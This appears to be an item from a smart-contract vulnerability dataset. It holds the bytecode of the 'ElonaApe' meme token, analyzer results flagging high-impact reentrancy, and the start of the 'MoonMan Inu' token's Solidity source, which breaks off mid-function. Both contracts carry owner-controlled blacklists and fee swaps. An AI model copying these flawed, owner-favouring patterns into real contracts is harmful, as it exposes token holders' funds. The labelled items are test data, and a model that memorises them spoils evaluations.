ffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dfd6117b3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8190613402565b60405180910390fd5b674563918244f40000811115610ea257806016819055505b50565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ef46117b3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7890613402565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600881526020017f456c6f6e61417065000000000000000000000000000000000000000000000000815250905090565b610fe96117b3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611076576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106d90613402565b60405180910390fd5b8060188190555050565b6110886117b3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611115576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110c90613402565b60405180910390fd5b60008410158015611127575060048411155b611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90613514565b60405180910390fd5b60008210158015611178575060148211155b6111b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ae90613580565b60405180910390fd5b600083101580156111c9575060048311155b611208576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ff906135ec565b60405180910390fd5b6000811015801561121a575060638111155b611259576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125090613658565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b600061128f6112886117b3565b8484611984565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112fa6117b3565b73ffffffffffffffffffffffffffffffffffffffff1614806113705750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113586117b3565b73ffffffffffffffffffffffffffffffffffffffff16145b61137957600080fd5b600061138430610c51565b905061138f81612345565b50565b61139a6117b3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611427576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141e90613402565b60405180910390fd5b60005b838390508110156114c657816005600086868581811061144d5761144c613422565b5b905060200201602081019061146291906131a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806114be90613480565b91505061142a565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61155b6117b3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115df90613402565b60405180910390fd5b8060178190555050565b6115fa6117b3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611687576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167e90613402565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036116f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ed906136ea565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361182a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118219061377c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611899576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118909061380e565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161197791906130d2565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036119f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ea906138a0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5990613932565b60405180910390fd5b60008111611aa5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9c906139c4565b60405180910390fd5b611aad610ec3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b1b5750611aeb610ec3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f0657601560149054906101000a900460ff16611baa57611b3c610ec3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba090613a56565b60405180910390fd5b5b601654811115611bef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be690613ac2565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611c935750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611cd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc990613b54565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d7f5760175481611d3484610c51565b611d3e9190613b74565b10611d7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7590613c3c565b60405180910390fd5b5b6000611d8a30610c51565b9050600060185482101590506016548210611da55760165491505b808015611dbd575060158054906101000a900460ff16155b8015611e175750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e2f5750601560169054906101000a900460ff165b8015611e855750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611edb5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f0357611ee982612345565b60004790506000811115611f0157611f004761226b565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611fad5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806120605750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561205f5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561206e57600090506121f5565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121195750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561213157600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121dc5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121f457600a54600c81905550600b54600d819055505b5b612201848484846125bc565b50505050565b600083831115829061224f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122469190612f7b565b60405180910390fd5b506000838561225e9190613c5c565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156122d3573d6000803e3d6000fd5b5050565b600060065482111561231e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231590613d02565b60405180910390fd5b60006123286125e9565b905061233d818461261490919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561237c5761237b612d09565b5b6040519080825280602002602001820160405280156123aa5781602001602082028036833780820191505090505b50905030816000815181106123c2576123c1613422565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612469573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061248d9190613d37565b816001815181106124a1576124a0613422565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061250830601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846117bb565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161256c959493929190613e5d565b600060405180830381600087803b15801561258657600080fd5b505af115801561259a573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806125ca576125c961265e565b5b6125d584848461269b565b806125e3576125e2612866565b5b50505050565b60008060006125f661287a565b9150915061260d818361261490919063ffffffff16565b9250505090565b600061265683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506128dc565b905092915050565b6000600c5414801561267257506000600d54145b61269957600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b6000806000806000806126ad8761293f565b95509550955095509550955061270b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129a790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127a085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129f190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127ec81612a4f565b6127f68483612b0c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161285391906130d2565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000683635c9adc5dea0000090506128b0683635c9adc5dea0000060065461261490919063ffffffff16565b8210156128cf57600654683635c9adc5dea000009350935050506128d8565b81819350935050505b9091565b60008083118290612923576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161291a9190612f7b565b60405180910390fd5b50600083856129329190613ee6565b9050809150509392505050565b600080600080600080600080600061295c8a600c54600d54612b46565b925092509250600061296c6125e9565b9050600080600061297f8e878787612bdc565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006129e983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612207565b905092915050565b6000808284612a009190613b74565b905083811015612a45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a3c90613f63565b60405180910390fd5b8091505092915050565b6000612a596125e9565b90506000612a708284612c6590919063ffffffff16565b9050612ac481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129f190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612b21826006546129a790919063ffffffff16565b600681905550612b3c816007546129f190919063ffffffff16565b6007819055505050565b600080600080612b726064612b64888a612c6590919063ffffffff16565b61261490919063ffffffff16565b90506000612b9c6064612b8e888b612c6590919063ffffffff16565b61261490919063ffffffff16565b90506000612bc582612bb7858c6129a790919063ffffffff16565b6129a790919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612bf58589612c6590919063ffffffff16565b90506000612c0c8689612c6590919063ffffffff16565b90506000612c238789612c6590919063ffffffff16565b90506000612c4c82612c3e85876129a790919063ffffffff16565b6129a790919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808303612c775760009050612cd9565b60008284612c859190613f83565b9050828482612c949190613ee6565b14612cd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ccb9061404f565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612d4182612cf8565b810181811067ffffffffffffffff82111715612d6057612d5f612d09565b5b80604052505050565b6000612d73612cdf565b9050612d7f8282612d38565b919050565b600067ffffffffffffffff821115612d9f57612d9e612d09565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612de082612db5565b9050919050565b612df081612dd5565b8114612dfb57600080fd5b50565b600081359050612e0d81612de7565b92915050565b6000612e26612e2184612d84565b612d69565b90508083825260208201905060208402830185811115612e4957612e48612db0565b5b835b81811015612e725780612e5e8882612dfe565b845260208401935050602081019050612e4b565b5050509392505050565b600082601f830112612e9157612e90612cf3565b5b8135612ea1848260208601612e13565b91505092915050565b600060208284031215612ec057612ebf612ce9565b5b600082013567ffffffffffffffff811115612ede57612edd612cee565b5b612eea84828501612e7c565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612f2d578082015181840152602081019050612f12565b83811115612f3c576000848401525b50505050565b6000612f4d82612ef3565b612f578185612efe565b9350612f67818560208601612f0f565b612f7081612cf8565b840191505092915050565b60006020820190508181036000830152612f958184612f42565b905092915050565b6000819050919050565b612fb081612f9d565b8114612fbb57600080fd5b50565b600081359050612fcd81612fa7565b92915050565b60008060408385031215612fea57612fe9612ce9565b5b6000612ff885828601612dfe565b925050602061300985828601612fbe565b9150509250929050565b60008115159050919050565b61302881613013565b82525050565b6000602082019050613043600083018461301f565b92915050565b6000819050919050565b600061306e61306961306484612db5565b613049565b612db5565b9050919050565b600061308082613053565b9050919050565b600061309282613075565b9050919050565b6130a281613087565b82525050565b60006020820190506130bd6000830184613099565b92915050565b6130cc81612f9d565b82525050565b60006020820190506130e760008301846130c3565b92915050565b60008060006060848603121561310657613105612ce9565b5b600061311486828701612dfe565b935050602061312586828701612dfe565b925050604061313686828701612fbe565b9150509250925092565b600060ff82169050919050565b61315681613140565b82525050565b6000602082019050613171600083018461314d565b92915050565b61318081612dd5565b82525050565b600060208201905061319b6000830184613177565b92915050565b6000602082840312156131b7576131b6612ce9565b5b60006131c584828501612dfe565b91505092915050565b6131d781613013565b81146131e257600080fd5b50565b6000813590506131f4816131ce565b92915050565b6000602082840312156132105761320f612ce9565b5b600061321e848285016131e5565b91505092915050565b60006020828403121561323d5761323c612ce9565b5b600061324b84828501612fbe565b91505092915050565b6000806000806080858703121561326e5761326d612ce9565b5b600061327c87828801612fbe565b945050602061328d87828801612fbe565b935050604061329e87828801612fbe565b92505060606132af87828801612fbe565b91505092959194509250565b600080fd5b60008083601f8401126132d6576132d5612cf3565b5b8235905067ffffffffffffffff8111156132f3576132f26132bb565b5b60208301915083602082028301111561330f5761330e612db0565b5b9250929050565b60008060006040848603121561332f5761332e612ce9565b5b600084013567ffffffffffffffff81111561334d5761334c612cee565b5b613359868287016132c0565b9350935050602061336c868287016131e5565b9150509250925092565b6000806040838503121561338d5761338c612ce9565b5b600061339b85828601612dfe565b92505060206133ac85828601612dfe565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006133ec602083612efe565b91506133f7826133b6565b602082019050919050565b6000602082019050818103600083015261341b816133df565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061348b82612f9d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036134bd576134bc613451565b5b600182019050919050565b7f4275792072657761726473000000000000000000000000000000000000000000600082015250565b60006134fe600b83612efe565b9150613509826134c8565b602082019050919050565b6000602082019050818103600083015261352d816134f1565b9050919050565b7f4275792074617800000000000000000000000000000000000000000000000000600082015250565b600061356a600783612efe565b915061357582613534565b602082019050919050565b600060208201905081810360008301526135998161355d565b9050919050565b7f53656c6c20726577617264730000000000000000000000000000000000000000600082015250565b60006135d6600c83612efe565b91506135e1826135a0565b602082019050919050565b60006020820190508181036000830152613605816135c9565b9050919050565b7f53656c6c20746178000000000000000000000000000000000000000000000000600082015250565b6000613642600883612efe565b915061364d8261360c565b602082019050919050565b6000602082019050818103600083015261367181613635565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006136d4602683612efe565b91506136df82613678565b604082019050919050565b60006020820190508181036000830152613703816136c7565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613766602483612efe565b91506137718261370a565b604082019050919050565b6000602082019050818103600083015261379581613759565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006137f8602283612efe565b91506138038261379c565b604082019050919050565b60006020820190508181036000830152613827816137eb565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061388a602583612efe565b91506138958261382e565b604082019050919050565b600060208201905081810360008301526138b98161387d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061391c602383612efe565b9150613927826138c0565b604082019050919050565b6000602082019050818103600083015261394b8161390f565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006139ae602983612efe565b91506139b982613952565b604082019050919050565b600060208201905081810360008301526139dd816139a1565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613a40603f83612efe565b9150613a4b826139e4565b604082019050919050565b60006020820190508181036000830152613a6f81613a33565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613aac601c83612efe565b9150613ab782613a76565b602082019050919050565b60006020820190508181036000830152613adb81613a9f565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613b3e602383612efe565b9150613b4982613ae2565b604082019050919050565b60006020820190508181036000830152613b6d81613b31565b9050919050565b6000613b7f82612f9d565b9150613b8a83612f9d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613bbf57613bbe613451565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613c26602383612efe565b9150613c3182613bca565b604082019050919050565b60006020820190508181036000830152613c5581613c19565b9050919050565b6000613c6782612f9d565b9150613c7283612f9d565b925082821015613c8557613c84613451565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613cec602a83612efe565b9150613cf782613c90565b604082019050919050565b60006020820190508181036000830152613d1b81613cdf565b9050919050565b600081519050613d3181612de7565b92915050565b600060208284031215613d4d57613d4c612ce9565b5b6000613d5b84828501613d22565b91505092915050565b6000819050919050565b6000613d89613d84613d7f84613d64565b613049565b612f9d565b9050919050565b613d9981613d6e565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613dd481612dd5565b82525050565b6000613de68383613dcb565b60208301905092915050565b6000602082019050919050565b6000613e0a82613d9f565b613e148185613daa565b9350613e1f83613dbb565b8060005b83811015613e50578151613e378882613dda565b9750613e4283613df2565b925050600181019050613e23565b5085935050505092915050565b600060a082019050613e7260008301886130c3565b613e7f6020830187613d90565b8181036040830152613e918186613dff565b9050613ea06060830185613177565b613ead60808301846130c3565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613ef182612f9d565b9150613efc83612f9d565b925082613f0c57613f0b613eb7565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613f4d601b83612efe565b9150613f5882613f17565b602082019050919050565b60006020820190508181036000830152613f7c81613f40565b9050919050565b6000613f8e82612f9d565b9150613f9983612f9d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613fd257613fd1613451565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000614039602183612efe565b915061404482613fdd565b604082019050919050565b600060208201905081810360008301526140688161402c565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122073a1b44e181ea495207a6cb71664a74795801070e0f840f5c133fa24489ece7e64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
7,144
0x0f611b1b58dee4bd7872adaa71251494a85f2c63
/** *Submitted for verification at Etherscan.io on 2021-06-23 */ /* _____ _____ / \ ____ ____ ____ / \ _____ ____ / \ / \ / _ \ / _ \ / \ / \ / \\__ \ / \ / Y ( <_> | <_> ) | \/ Y \/ __ \| | \ \____|__ /\____/ \____/|___| /\____|__ (____ /___| / \/ \/ \/ \/ \/ */ // MoonMan Inu | $MoonMan // Telegram: https://t.me/MoonManInu // Fair Launch, no Presale/Dev Tokens. 100% LP. // Bots will be fucked. // LP Lock immediately after launch. // Ownership will be renounced 30 minutes after launch. // Slippage Recommended: 15%+ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract MoonManInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "MoonMan Inu"; string private constant _symbol = "MoonMan \xF0\x9F\x8C\x9D"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 0; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 0; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (15 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if 